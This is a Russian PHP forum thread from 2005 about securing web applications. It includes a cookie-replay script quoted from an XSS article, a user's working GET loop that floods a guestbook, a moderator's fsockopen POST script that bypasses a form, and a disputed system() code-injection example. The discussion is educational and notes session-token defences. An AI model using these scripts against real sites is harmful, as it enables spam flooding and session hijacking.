Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5. На примерах. Авторы: Кузнецов М.В., Симдянов И.В., Голышев С.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Безопасное программирование (продолжение темы)
 
 автор: !!Yurchik!!   (01.02.2005 в 21:21)   письмо автору
 
 

Прочитал все эти статьи не отрываясь, если честно :) Просто супер, классная инфа. Просьба давать ссылки в форуме на ваши новые статьи, а то не прочитал бы этот топик - не прочитал бы и эти статьи...
И сразу есть вопросы:
- как можно узнать названия полей формы гостевой книги (если их узнают, уже можно подвергнуться атаке флудом...); и, допустим, их получили злоумышленники, но как после этого одним скриптом отослать тысячу таких форм...? Если возможно, подскажите как, хочу протестить свою гост. книгу
- можно как-то узнать названия всех файлов на сервере (имеется в виду директория, где лежит определенный сайт со всеми поддиректориями); можно, конечно в гост. книге этого сайта (если теги не удаляются) дать ссылку на скрипт, выдающий имена всех этих файлов (но сработает ли он..?). Есть еще варианты? (просто многие хранят пароли в текстовых файлах без шифрования)
- в статье "Анатомия межсайтового скриптинга" я не понял как работает вот этот скрипт:
"В следующем примере скрипт атакующего использует cookie для получения исходного кода защищенной веб-страницы:"

<?php
$request 
"GET /secret.php HTTP/1.0\r\n";
$request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n";
$request .= "\r\n";
$s fsockopen("host"80$errno$errstr30);
fputs($s$request);
$content '';
while (!
feof($s))
{
$content .= fgets($s4096);
}
fclose($s);
echo 
$content;
?>

а именно, первые 4 строчки... Кто знает, подскажите, плиз.
И неужели по аналогии можно узнать исходник любого сценария..?
Заранее благодарен

   
 
 автор: cheops   (01.02.2005 в 22:37)   письмо автору
 
   для: !!Yurchik!!   (01.02.2005 в 21:21)
 

1) Сразу дам ссылку на предыдущую тему http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=1855, а то потом люди будут читать форум и не найдут её.
2) Все статьи анансируются в форуме, в том числе и эта
http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=1531
http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=1377
просто темы рано или поздно быстро уползают вниз... ну наверное стоит их анансировать более громко Новая статья: безопасное программирование в PHP - в следующий раз так и будем делать.
3) Названия полей можно легко посмотреть в исходном тексте HTML-страницы - это позваляет любой браузер: в IE - правая кнопка мыши - просмотр HTML-кода. Автофлуд осуществляется при помощи сокетов - если честно не хочется пример такого кода приводить, так как для дела его использовать сложно (хотя в нашей третьей книге PHP в примерах я на примере POST запроса привожу его), лучше сосредоточится на защите - этот вид атаки блокируется при помощи сессий, когда сравнивается значение идентификатора сессии помещённое в скрытое поле в форме и идентификатора сесии в обработчике. Это можно видеть при просмотре исходного кода страницы добавления нового сообщения в нашей госетвой книге и при добавлении новой темы на форуме.
4) Названия всех файлов можно узнать если найти дыру в коде и воспользоваться ей, например для передачи на сервер зловредного кода с последующим его выполнением.
5) Нет узнать исходный код PHP-страницы по HTTP нельзя, здесь работа идёт работа с cookie. При помощи сокетов идёт отправка HTTP-заголовков серверу с последующей самостоятельной обработки ответа - т.е. скрипт действует как браузер - отправляет запрос и получает ответ - на этом построены все интелектуальные агенты: например роботы поисковых систем, которые лазят по сайтам и собирают информацию, различные сетевые игрушки, почтовые агенты и т.д. и т.п.

   
 
 автор: !!Yurchik!!   (02.02.2005 в 00:04)   письмо автору
 
   для: cheops   (01.02.2005 в 22:37)
 

3) хм... Жалко, хотелось бы все-таки знать как это осуществляется... И вообще работа с сокетами для меня нечто новое, у вас есть статья по ним?
4) насколько я понял, встроить код РНР можно используя дыру в скрипте + метод передачи должен быть GET? Ведь с POST можно лишь добиться передачи данных в свой скрипт
5) опять сокеты... этот пробел в моих знаниях нужно заполнять...

   
 
 автор: cheops   (02.02.2005 в 00:23)   письмо автору
 
   для: !!Yurchik!!   (02.02.2005 в 00:04)
 

Сокеты — библиотека функций, реализуемая операционной системой для установки сетевых соединений. Эта библиотека позволяет осуществлять работу с сетью на прикладном уровне, в том числе и из скриптов. Если реализуется клиентская часть, то вы отсылаете запросы серверу и получаете ответы. Вид запросов, ответов, порядок их следования и реакция на них называется протоколом. Протоколов очень много и они подразделяются на целые классы. Web-программисты работают с прикладными протоколами. FTP для передачи файлов, SMTP и IMAP для работы с почтой, HTTP для передачи и получения HTML-страниц (это методы GET и POST, существуют ещё методы, но они менее распространены). Чтобы работать с сокетами нужно знать протоколы - их синтаксис и принципы работы. В настоящий момент это автоматизировано за счёт использования стандартных клиентов (браузеров) и стандартных серверов (Apache и IIS) - динамика осуществляется за счёт клиентских (JavaScript, VB) и серерных языков программирования (Perl, PHP) и для реализации сайтов не требуется писать собственный сервер на С как это было ещё 10 лет назад. Всё-таки ряд задач не обрабатываются стандартными программами (серверы, браузеры) - в этом случае прибегают к сокетам - программируют логику сетевого общения самостоятельно. Ссылки на примеры работы с сокетами можно посмотреть в ссылках по теме http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=1301

   
 
 автор: !!Yurchik!!   (02.02.2005 в 21:59)   письмо автору
 
   для: cheops   (02.02.2005 в 00:23)
 

Спасибо, почитал.
Но никак не покидала меня мысль про скрипт, осуществляющий флуд :)
Надеюсь, вы не удалите это сообщение, так как я ни в коем случае не хочу никому вредить с помощью таких скриптов, но все же надо знать, как это осуществляется (кстати, в статьях "Анатомия межсайтового скриптинга" и "Расширенный межсайтовый скриптинг" кроме защиты от такого рода скриптов описывают и сами эти скрипты :) ). Поэтому хочу поделиться скриптом, осуществляющим флуд (работает только в случае метода GET):

<?php 
  
// сервер
  
$fhost =  "localhost"
  
// адрес скрипта с GET-запросом
  
$fname_get "/my/g_book/g_book.php?u_name=hacker&u_mail=hacker@hacker.ru&message=fix+your+site!";
  
  
// цикл отсылки сообщений
  
for($i=0;$i<15;$i++)
      {
           
// открытие соединения
          
$fp fsockopen($fhost80$errno$errstr30); 
          if (!
$fp
              echo 
"$errstr ($errno)<br />\n"
          else 
              { 
              
// формирование GET-запроса
              
$out "GET $fname_get HTTP/1.1\r\n"
              
$out .= "Host: $fhost\r\n"
                
$out .= "Connection: Close\r\n\r\n"

                
// запись запроса
                
fwrite($fp$out); 
                
// чтение полученных данных
                
while (!feof($fp)) 
                       echo 
fgets($fp128); 
          
               
// закрытие соединения
                    
fclose($fp); 
              } 
      }        
?>

Но все же большинство гостевых книг и форумов отсылают данные POST-запросом... Сколько, блин, не пробовал, ну никак не выходит; подскажите, плиз, где ошибка :)

<?php 
  $fhost 
=  "localhost"
  
$fname_post "/my/g_book/g_book.php";
  
  for(
$i=0;$i<15;$i++)
      {
           
$fp fsockopen($fhost80$errno$errstr30); 
          if (!
$fp
              echo 
"$errstr ($errno)<br />\n"
          else 
              { 
              
$out "POST $fname_post HTTP/1.1\r\n"
              
$out .= "Host: $fhost\r\n"
              
$out .= "Content-length: 5\r\n\r\n"
              
$out .= "yuriy"

                
fwrite($fp$out); 
                while (!
feof($fp)) 
                       echo 
fgets($fp128); 
          
            
fclose($fp); 
              } 
      }        
?>

Насколько я понял, в методе ПОСТ, блок пересылаемых данных должен находиться после маркера окончания запроса, т.е. после двух символов перевода строки. Поэтому в параметре Content-length надо точно указать, сколько байтов считывать сценарию. Я и передал строку "yuriy", но какое будет имя у этой переменной??? Пробовал $_REQUEST['yuriy'] - не работает, пробовал $out .= "yuriy yuriy"; - не работает... Плюс ко всему, как разделять переменные, ведь их нужно передать несколько...?
Заранее спасибо

   
 
 автор: Timmy   (02.02.2005 в 23:28)   письмо автору
 
   для: !!Yurchik!!   (02.02.2005 в 21:59)
 

Если не лень, могу порекомендовать почитать ftp://ftp.isi.edu/in-notes/rfc2616.txt, и вообще www.w3c.org. Много полезного про веб-программирование, стандарты и т.д.

   
 
 автор: cheops   (02.02.2005 в 23:38)   письмо автору
 
   для: Timmy   (02.02.2005 в 23:28)
 

Только вот метод POST в rfc2616.txt практически не описан, почему-то :( Так в скользь общими словами говорится об нём и всё.

   
 
 автор: !!Yurchik!!   (03.02.2005 в 00:05)   письмо автору
 
   для: Timmy   (02.02.2005 в 23:28)
 

Ого-го... Там действительно есть что почитать... да еще и на английском... Но все равно попробую поразбираться.
P.S. я где-то тут уже сталкивался с темой на счет таких документов. Напомните, плиз, что это за документы и если кто-то помнит тот топик, дайте ссылку, плиз.
Заранее спасибо!

   
 
 автор: cheops   (03.02.2005 в 00:53)   письмо автору
 
   для: !!Yurchik!!   (03.02.2005 в 00:05)
 

Это было по ссылке

http://www.softtime.ru/forum/read.php?id_forum=4&id_theme=570

   
 
 автор: cheops   (02.02.2005 в 23:35)   письмо автору
 
   для: !!Yurchik!!   (02.02.2005 в 21:59)
 

Ладно не буду вас мучать :))) в конце концов задача красивая и всё равно будет опубликована в книге. Пусть есть HTML-форма
<form action=handler.php method=post>
Имя : <input type=text name=name><br>
Пароль : <input type=text name=pass><br>
<input type=submit name=send value=Отправить>
</form>

и её обработчик
<?php
  
echo "Имя - ".$_POST['name'];
  echo 
"<br>Пароль - ".$_POST['pass'];
?>

Тогда обратится к обработчику в обход формы можно при помощи скрипта
<?php 
  $hostname 
"localhost";
  
$path "/test2/handler.php"// Аккуратнее с именами и путями
  
$line "";
  
// Устанавливаем соединение, имя которого
  // передано в параметре $hostname
  
$fp fsockopen($hostname80$errno$errstr30); 
  
// Проверяем успешность установки соединения
  
if (!$fp) echo "$errstr ($errno)<br />\n"
  else
  { 
    
// Данные HTTP-запроса
    
$data 
      
"name=".urlencode("Игорь")."&pass=".urlencode("пароль")."\r\n\r\n";
    
// Заголовок HTTP-запроса
    
$headers "POST $path HTTP/1.1\r\n"
    
$headers .= "Host: $hostname\r\n"
    
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
    
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
    
// Отправляем HTTP-запрос серверу
    
fwrite($fp$headers.$data); 
    
// Получаем ответ
    
while (!feof($fp))
    { 
      
$line .= fgets($fp1024); 
    } 
    
fclose($fp); 
  } 
  echo 
$line;
?>

   
 
 автор: !!Yurchik!!   (03.02.2005 в 00:01)   письмо автору
 
   для: cheops   (02.02.2005 в 23:35)
 

О, спасибо большое!
Хотя на первый взгляд не вижу ошибки в моем скрипте, вроде все также пробовал (ну кроме кодирования в 16-ричную систему счисления, но это ведь не обязательно делать...)
А, вот в чем дело:

$data = "name=".urlencode("Игорь")."&pass=".urlencode("пароль")."\r\n\r\n";

Вот как надо было сформировать запрос, теперь понятно

   
 
 автор: !!Yurchik!!   (04.02.2005 в 22:22)   письмо автору
 
   для: !!Yurchik!!   (03.02.2005 в 00:01)
 

Сколько не искал в поисковиках инфу по XSS, ничего хорошего так и не нашел... Может кто подскажет еще парочку интересных статей по этой теме?
Заранее благодарен.
P.S. И, к сожалению, ни в одной из этих трех статей почти ничего не сказано о вставке именно РНР-кода в чужую страницу (здесь, насколько я понимаю, уже надо искать серьезные дыры в коде, т.к. через гостевую книгу или форум РНР-код не вставишь...)

   
 
 автор: cheops   (04.02.2005 в 22:56)   письмо автору
 
   для: !!Yurchik!!   (04.02.2005 в 22:22)
 

Можно и PHP вставить - только приёмы тут немного другие, обычно прибегают к точкам и вставляют в строки оператор system, который позволяет выполнить любую команду операционной системы.
<?php
  
echo "text ".$name." text";
  
// получается
  
echo "text ".system("стереть всё")." text";
?>

Но это только в том случае, если отключен безопасный режим (не видел ни одного боевого сервера, где бы он был отключен).
Но это обычно можно не делать. Продырявить сайт очень просто, если позволить пользователям загружать на сайт что не поподя - подробности по ссылке.

http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=391

   
 
 автор: 1dt.w0lf   (04.02.2005 в 23:32)   письмо автору
 
   для: cheops   (04.02.2005 в 22:56)
 

Неее неправильно говоришь... не получится так выполнять системные команды...
Основной способ так называемого php code injection это когда имя файла передается к include() без проверки...

   
 
 автор: Chipset   (01.04.2005 в 20:33)
 
   для: cheops   (02.02.2005 в 23:35)
 

Вот самое важное в POST запросе:

$headers .= "Content-type: application/x-www-form-urlencoded\r\n"; //Важно!
$headers .= "Content-Length: ".strlen($data)."\r\n"; //Важно!

fwrite($fp, $headers.$data); // Отправляем HTTP-запрос серверу: и заголовок и тело.

В теле $data по-моему не обязательно завершать переводами строки \r\n\r\n. Я бы сказал, не нужно.

   
 
 автор: airMike   (30.06.2005 в 14:00)
 
   для: Chipset   (01.04.2005 в 20:33)
 

а я бы сказал, что нужно. Даже очень. У меня без этого не работает, пишет что превышен лимит строки или что-то вроде этого.

   
 
 автор: airMike   (30.06.2005 в 14:25)
 
   для: Chipset   (01.04.2005 в 20:33)
 

блин, ошибся... это не про $data

   
 
 автор: ms.Net   (09.08.2005 в 13:18)   письмо автору
 
   для: airMike   (30.06.2005 в 14:25)
 

А какие существуют методы по защите от такого флуда?

   
 
 автор: campa   (16.11.2005 в 18:04)
 
   для: cheops   (02.02.2005 в 23:35)
 

СПАСИТЕЛЬ!!!

   
 
 автор: cheops   (16.11.2005 в 18:58)   письмо автору
 
   для: campa   (16.11.2005 в 18:04)
 

Раз уж тема поднята, приведу ещё пару интересных ссылок, на подделку реферера http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=8931, а также cookie и SID сессии http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=9050

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования